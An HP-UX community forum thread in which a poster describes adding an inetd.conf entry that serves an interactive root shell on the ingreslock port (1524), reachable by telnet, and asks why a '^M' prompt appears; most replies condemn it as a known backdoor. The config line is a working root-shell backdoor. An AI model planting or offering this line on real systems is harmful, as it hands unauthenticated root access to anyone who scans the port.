- Community Home
- >
- Servers and Operating Systems
- >
- Operating Systems
- >
- Operating System - HP-UX
- >
- inetd.conf
Categories
Company
Local Language
Forums
Discussions
Forums
- Data Protection and Retention
- Entry Storage Systems
- Legacy
- Midrange and Enterprise Storage
- Storage Networking
- HPE Nimble Storage
Discussions
Forums
Discussions
Discussions
Discussions
Forums
Forums
Discussions
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
- BladeSystem Infrastructure and Application Solutions
- Appliance Servers
- Alpha Servers
- BackOffice Products
- Internet Products
- HPE 9000 and HPE e3000 Servers
- Networking
- Netservers
- Secure OS Software for Linux
- Server Management (Insight Manager 7)
- Windows Server 2003
- Operating System - Tru64 Unix
- ProLiant Deployment and Provisioning
- Linux-Based Community / Regional
- Microsoft System Center Integration
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Community
Resources
Forums
Blogs
- Subscribe to RSS Feed
- Mark Topic as New
- Mark Topic as Read
- Float this Topic for Current User
- Bookmark
- Subscribe
- Printer Friendly Page
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО11-13-2004 01:06 AM
тАО11-13-2004 01:06 AM
oneway is:
add one line (below) into inetd.conf
ingreslock stream tcp nowait root /bin/sh sh -i
this function is when system startup
then start a network service at port 1524(ingreslock was defined in /etc/services,if the file dont include it ,u can add it)
kill inetd and startup inetd
command:
telnet ip 1524
now u have a root shell~
but my problem is:
cant remove the prompt ' ^M '
i look up it via google,
the result is
if which u add like that
ingreslock stream tcp nowait root /bin/sh
the system whill prompt
^M
but like
ingreslock stream tcp nowait root /bin/sh
sh -i
all is ok~
why ,why ,why?
reference
http://project.honeynet.org/scans/scan20/sol/1/
Solved! Go to Solution.
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО11-13-2004 02:51 AM
тАО11-13-2004 02:51 AM
SolutionTalk about a major security breach!
I pray your server isn't on the internet - cause just about every hacker in the known universe knows that back door....
There's no need for a back door - ever...if you tried that at just about any security aware company - they would fire you....
You should install Bastille:
http://www.software.hp.com/portal/swdepot/displayProductInfo.do?productNumber=B6849AA
Rgds...Geoff
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО11-13-2004 05:20 PM
тАО11-13-2004 05:20 PM
Re: inetd.conf
'sh -i' tells how 'sh' is to be executed. Moreover I am not sure if it is even going to work if you don't specify the arguments on HP-UX implementation (your first attempt). Shell gives prompt only if it is executed with -i option or if it has a tty associated. 'man sh-posix'. It's not designed to run through inetd unlike telnetd/ftpd etc., So, I am not sure if you are going to get 'full' shell capabilities.
As said before, my question back to you is 'why, why, why' would you want to configure it that way intentionally?. The first thing any hacker would do is to 'scan' through all the open ports and connect to them to see if they get any response. And this is a red carpet to them.
-Sri
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО11-13-2004 07:15 PM
тАО11-13-2004 07:15 PM
Re: inetd.conf
I'm glad it isn't working on HP-UX.
This kind of thing should not work, not should it be tried.
I can tell you a dozen safe ways to create a backdoor for root access on an HP-UX system. They'd be reasonably scure so long as the unpriviledged user with access to them had a complex password and didn't share.
Tell me what you are trying to accomplish and I may post further relavent advice.
SEP
Owner of ISN Corporation
http://isnamerica.com
http://hpuxconsulting.com
Sponsor: http://hpux.ws
Twitter: http://twitter.com/hpuxlinux
Founder http://newdatacloud.com
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО11-14-2004 03:09 PM
тАО11-14-2004 03:09 PM
Re: inetd.conf
now i answer the question
why why why?
i wanna open a backdoor in this machine~
but i dont know how to do
note: this machin belong to me
not belong to any other one~
who can help me
mailto:vulgatecn@msn.com
thank u~
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО11-14-2004 07:08 PM
тАО11-14-2004 07:08 PM
Re: inetd.conf
If you want you can change Well know port.
Example you can start your ssh on port 1345
also you can start ssh from /etc/inetd.conf
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО11-15-2004 12:08 AM
тАО11-15-2004 12:08 AM
Re: inetd.conf
You also mentioed that this is your system. This means you take responsibility for all mallicious hacks and problems on the system.
If the system keeps freezing and you need another way in (i.e. telnet) I'd suggest tuning the system such that it does not freeze.
If you keep getting locked out for what ever reason, dont make it easy for yourself to hack in, make it hard to lock yourself out in the first place.
Tim & his 0.02├в ┬м wort
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО11-15-2004 12:34 AM
тАО11-15-2004 12:34 AM
Re: inetd.conf
I will be surprized if anyone posts a 'solution' for you. These forums are intended to fix the stuff not to break. Hacking (whatever you call it) is not encouraged here, that atleast I have seen so far.
-Sri
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО11-15-2004 01:45 AM
тАО11-15-2004 01:45 AM
Re: inetd.conf
bo pri
Interact with IPL: Y
ISL> hpux -is
That will take you to single user mode - then you can reset the root pass word.
Rgds...Geoff